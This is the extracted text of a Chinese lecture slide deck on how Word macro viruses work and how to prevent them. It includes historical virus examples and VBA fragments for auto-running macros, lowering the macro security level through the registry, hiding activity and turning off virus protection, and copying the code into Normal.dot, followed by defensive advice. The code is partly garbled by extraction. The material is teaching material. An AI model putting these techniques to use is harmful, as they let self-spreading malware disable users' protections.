宏病毒原理及实现

上传人:good****022 文档编号:116864489 上传时间:2022-07-06 格式:PPT 页数:39 大小:837.50KB
返回 下载 相关 举报
宏病毒原理及实现_第1页
第1页 / 共39页
宏病毒原理及实现_第2页
第2页 / 共39页
宏病毒原理及实现_第3页
第3页 / 共39页
点击查看更多>>
资源描述
宏病毒的原理及实现,宏(macro),就是软件设计者为了在使用软件工作时,避免一再的重复相同的动作而设计出来的一种工具。它利用简单的语法,把常用的动作写成宏,当再工作时,就可以直接利用事先写好的宏自动运行,去完成某项特定的任务,而不必再重复相同的动作。,什么是“宏”?,Microsoft Office、wps等办公软件 魔兽世界、剑网等游戏,哪里用到“宏”?,Office 宏的定义:Microsoft Word中对宏定义为:“宏就是能组织到一起作为一独立的命令使用的一系列word命令,它能使日常工作变得更容易”,宏语言,宏语言即VISUAL BASIC FOR APPLICATION,简称 VBA。 VBA 可以访问许多操作系统函数并支持文档打开时自动执行宏 这使得用这种语言写计算机病毒成为可能,Office各版本及其宏语言,6,Office自带 Visual Basic 编辑器,注: 1、调用VB编辑器的快捷方式: Alt + F11 2、查看宏的快捷键: Alt + F8,office2007 查看宏代码可以点击: 视图 宏 编辑,VBA简介,直到90年代早期,使应用程序自动化还是充满挑战性的领域。对每个需要自动化的应用程序,人们不得不学习一种不同的自动化语言。例如: 用EXCEL的宏语言来使EXCEL自动化,使用WORD BASIC使WORD自动化等等。 微软开发出来的应用程序共享一种通用的自动化语言-Visual Basic For Application(VBA),实际上VBA是寄生于VB应用程序的版本。 VB是设计用于创建标准的应用程序,而VBA是使已有的应用程序(EXCEL等)自动化。,word创建宏,Word 提供了两种创建宏的方法:宏录制器和 Visual Basic 编辑器。 宏录制器可帮助用户开始创建宏。Word 在 VBA编程语言中把宏录制为一系列的 Word 命令。可在 Visual Basic编辑器中打开已录制的宏,修改其中的指令。也可用 Visual Basic编辑器创建包括 Visual Basic 指令的非常灵活和强有力的宏,这些指令无法采用录制的方式。,基于word的VBA编程,Sub AutoOpen() 定义函数名,AutoXXX为自动宏 While True 恶意代码 ,死循环 Msgbox ”Hello world” 调用对话框显示消息 Wend End Sub 函数到此结束,基于word的VBA编程,Sub AutoOpen() Command.Caption = Shell C:Program FilesInternet ExplorerIEXPLORE.EXE vbNormalFocus For i = 1 To 10 Documents.Add 新添加一个word文档 Next i End Sub,调用操作系统 Shell函数,打开已安装的应用程序,Office有了宏,宏在office中的什么位置?,为了方便人们使用宏以及宏文件的传递使用,Word定义出一种文件格式,将文档以及该文档所需要的宏合在一起放在后缀为.dot的文件之中。正因为这种是宏也是资料的文档格式,便产生了宏感染的可能性。,但是,Normal.dot上不能用来存储数据,每次修改后都需另外保存。,有没有一种文档格式,既可以存储宏,又可以用来存储数据?,一、模板文件格式:.dot文档:模板文档,新文档继承模板的属性( 宏、菜单、格式等)。 Normal.dot文件:全局模板,在建立整个文档中所起的作用是作为一个基类,是新建文档默认的模板。,二、数据文件格式 .doc一种可以存贮宏的普通文档; .docx一种不包含宏的普通文档; .docm一种包含宏或启用了宏的文档; .dotx一种不包含宏的模板; .dotm一种包含宏或启用了宏的模板。,宏就在office文档里 用普通文档即可传播宏文件,写代码简单,传播更简单,那么,我们可不可以做点别的事?,其实宏病毒的出现并非出乎人们的意料,早在80年代后期就有专家预言过。那时,有些学生就用某些应用程序的宏语言编写病毒。然而,宏病毒与普通病毒不同,它不感染.EXE或.COM文件,而只感染文档文件。宏病毒就像自然界中令人恐惧的龙卷风,对人们正常使用计算机进行学习和工作带来了不可估量的影响,同时也造成了社会财富的巨大浪费。,1. Concept宏病毒,世界上的第一个宏病毒Concept可以感染Windows和苹果机上的Microsoft Word文档。这个病毒是用Microsoft Word 6.0中的宏语言编写的,但它也能感染其他Word版本创建的文档。看起来编写Concept宏病毒是为了证明确实可以用宏编程语言编写病毒。因此,Concept宏病毒只是显示一个对话框,宣示它的存在,并不故意破坏磁盘上的任何文件。,2 Nuclear宏病毒 这是一个对操作系统文件和打印输出有破坏功能的宏病毒。这个宏病毒中包含以下病毒宏:AutoExec AutoOpen DropSuriv FileExit FilePrint FilePrint DefaultFile SaveAs 这些宏是只执行(Execute-only)宏 Nuclear宏病毒造成的破坏现象为: (1)打开一个染毒文档井打印的时候,它会在您打印的最后一段加上“STOPALLFRENCHNUCLEARTESTING INTHEPACIFIC!”,这个现象是在每分钟的55秒60秒之间操作打印时发生。 (2)如果在每天17:0018:00之间打开一个染毒文档,Nuclear病毒会将PH33R病毒传染到计算机上,这是个 驻留型病毒。 (3)在每年的4月5日,该病毒会将计算机上IO.SYS和MSDOS.SYS文件清零,并且删除C盘根目录上的COMMAND. COM文件。一旦病毒发作,MSDOS就不可能被引导,计算机将陷入瘫痪。,3 台湾一号病毒 台湾一号病毒会在每月的13日影响您正常使用Word文档和编辑器。它包含以下病毒宏:AutoClose、AutoNew、AutoOpen这些宏是可被编辑宏。在病毒宏中含有如下的语句:IfDay(Now()=13Then.这条语句与13日有关。台湾一号病毒造成的危害是:在每月13日,若用户使用Word打开一个带毒的文档(模板)时,病毒会被激发。激发时的现象是:在屏幕正中央弹出一个对话框,该对话框提示用户做一个心算题,如做错,它将会无限制地打开文件,直至Word内存不够,Word出错为止;如心算题做对,会提示用户“什么是巨集病毒(宏病毒)?”,回答“我就是巨集病毒”,再提示用户:“如何预防巨集病毒?”,回答是“不要看我”。,2.1 宏病毒简介,什么是宏病毒?,宏病毒是一种寄存在文档或模板的宏中的计算机病毒。一旦打开这样的文档,其中的宏自动被执行,于是宏病毒就会被激活,转移到计算机上,并驻留在Normal模板上。从此以后,所有自动保存的文档都会“感染”上这种宏病毒,而且如果其他用户打开了感染病毒的文档,宏病毒又会转移到他的计算机上。,宏病毒的特点,(1)宏病毒会感染.DOC文档和.DOT模版文件。 (2) 宏病毒的传染通常是WORD在打开一个带宏病毒的文档或模版时,激活宏病毒。 (3)多数宏病毒包含AutoOpen、AutoClose、AutoNew和AutoExit 等自动宏,通过这些自动宏病毒取得文档(模版)操作权。 (4)宏病毒中总是含有对文档读写操作的宏命令。 (5)病毒原理简单,制作比较方便。 (6)传播速度相对较快。,21,WORD 宏病毒的生命周期,编程语言:VBA、WordBasic等 运行环境:VBE,Word宏病毒的感染过程,宏病毒原理大揭秘,1、降低宏安全级别,以office2003版为例If Application.Version “11.0” Then 判断office版本strFullname = ThisWorkbook.FullName 取得当前工作薄的全名strVBS = Replace(UCase(strFullname), .XLS, .vbs) temp文件VBS的文件名Set WSH = CreateObject(“Wscript.Shell”) 创建Wscript对象Err.ClearOn Error Resume Next 出错不提示,继续regStr =,HKEY_CURRENT_USERSoftwareMicrosoftOffice11.0WordSecurityLevel“ 注册表中Excel vba安全级别位置ret = WSH.RegRead(regStr) 读取当前安全级别If Err.Number 0 Then 判断读取是否成功 vbOKOnly + vbCritical, Keanjeason Exit SubElse 如果当前Excel VBA安全级别不为“低”,则设置为“低”,值1-4分别对应:低,中,高,非常高 If Val(ret) 1 Then ret = WSH.RegWrite(regStr, 1, REG_DWORD)End If,1、用户使用Word执行打开文档、保存文档、打印文档和关闭文档等操作时,Word会查找指定的标准宏: 例1:关闭文档之前查找“FileSave”宏,如果存在,首先执行这个宏 例2:打印文档之前首先查找“FilePrint”宏,如果存在则执行这个宏,2、Word中另外还有一些以“Auto”开始的宏(自动宏),如“AutoOpen”、“AutoClose”等,如果建立了这些宏,打开/关闭文档的时候将自动执行这些宏,这些宏一般是全局宏,对任何Word文档都有效。,病毒触发要隐含在正常的操作中,这些自动执行的宏然是最好的宿主。,2、文档的控制权获取,宏病毒常用到的宏如下表所示,高明的病毒编写者其自我保护将做得非常好,可以使word的一些工具栏失效,例如将工具菜单中的宏选项屏蔽,也可以修改注册表达到很好的隐藏效果。,常用代码示例: On Error Resume Next 如果发生错误,不弹出出错窗口,继续执行下面语句 Application.DisplayAlert = wdAlertsNoe 不弹出警告窗口 Application.EnableCancelKey = wdCancelDisabled 不允许通过ESC键结束正在运行的宏 Application.DisplayStatusBar = False 不显示状态栏,避免显示宏的运行状态 Application.ScreenUpdating = False 不让刷新屏幕,避免病毒运行引起刷新速度变慢 Option.VirusProtection = False 关闭病毒保护功能,运行前如果包含宏,不提示 Option.SaveNormalPrompt = False 如果公用模板被修改,不给用户提示窗口而直接保存,3、宏病毒的自我隐藏,1、Word宏病毒一般都首先隐藏在一个指定的Word文档中,一旦打开了这个Word文档,宏病毒就被执行,宏病毒要做的第一件事情就是将自己拷贝到全局宏的区域,使得所有打开的文档都可使用这个宏。,2、当Word退出的时候,全局宏将被存储在某个全局的模板文档(.dot文件)中,这个文件的名字通常是“Normal.dot”,即Normal模板。,3、如果全局宏模板被感染,则Word再启动的时候将自动载入宏病毒并且自动执行。,4、传播与感染,1)得到正在操作的文档代码对象和公用模板的代码对象。 Ourcode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100) Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule If ThisDocument = NormalTemplate Then Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule End If,2) 检查模板是否已经感染病毒,如果没有,则复制宏病毒代码到模板,并且修改函数名。 With host If .Lines(1, 1) moonlight Then .DeleteLines 1, .CountOfLines .InsertLines 3, Sub Document_Close() If ThisDocument = NormalTemplate Then .RbeplaceLine 3, Sub Document_Open() ActiveDocument.SaveAs ActiveDocument.FullName End If End If End With,宏病毒预防,宏病毒离不开可供其运行的系统软件(WORD,EXCEL 等OFFICE 软件),所以宏病毒的检测其实非常容易。只要留意一下常用的OFFICE 系统软件是不是出现了一些不正常的现象,就能大概知道计算机是不是染上了宏病毒。,如何及时发现宏病毒?,(1)全局模板中出现宏。 (2)无故出现存盘操作。 (3)OFFICE功能混乱,无法使用。 (4)OFFICE菜单命令消失。 (5)OFFICE文档的内容发生变化。 (6)尝试保存文档时,只允许将文档保存为文档模版的格式。 (7)文档图标的外形类似模板而非文档图标。,Office不正常现象集锦,感染了宏病毒后,同样可以用防治计算机病毒的软件来查杀,亦可采用以下方法进行手工处理: 1、通过删除宏命令的形式删除宏病毒。 2、通过复制粘贴清除宏病毒代码方式清除宏病毒。 3、通过删除NORMAL.DOT来除掉Word宏病毒。 4、通过格式转换清除Word 宏病毒。 5、通过高版本的Word发现病毒宏。 6、为防万一,在打开怀疑感染了宏病毒的文档时按住SHIFT键,这样可以避免宏自动运行,如果有宏病毒,则不会加载宏。,宏病毒的清除,日常办公中,如何去避免宏病毒?,36,1、初级防护设置宏安全等级,针对 Office 2007 Officeword选项信任中心宏设置,为了防止利用“VBA”语言编制专门破坏电脑系统的病毒程序,Office自带了“宏”检测功能。设置宏的安全级别较高时,打开带有“宏”的文档时,会提示用户注意,并让用户自行选择是否启用“宏”。,(1)根据AUTO宏的自动执行的特点,在打开office文档时,可按住shift键,来避免自动宏的运行。,(2)当怀疑系统带有宏病毒时,首先应检查是否存在可疑的宏,也就是一些用户没有编制过、也不是OFFICE默认提供而出现的宏,如一些稀奇古怪名字的宏、AutoXXX命名的自动宏,可直接删除。具体做法是,选择“视图”“宏”“Visual Basic编辑器”,删除各宏代码模块即可。,(3)针对宏病毒感染NORMAL模版的特点,用户在新安装了OFFICE软件后,可打开一个新文档,将OFFICE的工作环境按照自己的使用习惯进行设置,并将需要使用的宏一次编制好,做完后保存新文档。这时生成的NORMAL模版绝对没有宏病毒,可将其备份起来,亦可将其权限设为“只读”。在遇到有宏病毒感染时,用备份的NORMAL模版覆盖当前的NORMAL模版,可以起到消除宏病毒的作用。,2、终极防护,(4)当使用外来可能有宏病毒的WORD文档时,如果没有保留原来文档排版格式的必要,可先使用WINDOWS自带的写字版来打开,将其转换为写字版格式的文件保存后,再用WORD调用。因为写字版不调用、不记录、不保存任何宏,文档经此转换,所有附带其上的宏(包括宏病毒)都将丢失。,(5)最好把C 盘中的AutoExec.bat和Config.sys文件设为“只读”, 把自动执行宏功能禁止, 让宏病毒无法被激活。在Word中, 选择“工具选项”, 进入“常规”标签, 选取“宏病毒保护”, 这样Word 就有了防止自动宏执行的功能。当然, 我们也可以用下面的命令行来使自动宏无效:Winword.exe/m(同按住Shift 键作用), 同时, 选择“工具宏安全性”, 将安全级设置为最高, 并且取消“可靠来源”中的“信任所有安装的加载项和模版”, 这让我们在预防宏病毒时更加有效。,
展开阅读全文
相关资源
相关搜索

最新文档


当前位置:首页 > 图纸专区 > 课件教案


copyright@ 2023-2025  zhuangpeitu.com 装配图网版权所有   联系电话:18123376007

备案号:ICP2024067431-1 川公网安备51140202000466号


本站为文档C2C交易模式,即用户上传的文档直接被用户下载,本站只是中间服务平台,本站所有文档下载所得的收益归上传人(含作者)所有。装配图网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。若文档所含内容侵犯了您的版权或隐私,请立即通知装配图网,我们立即给予删除!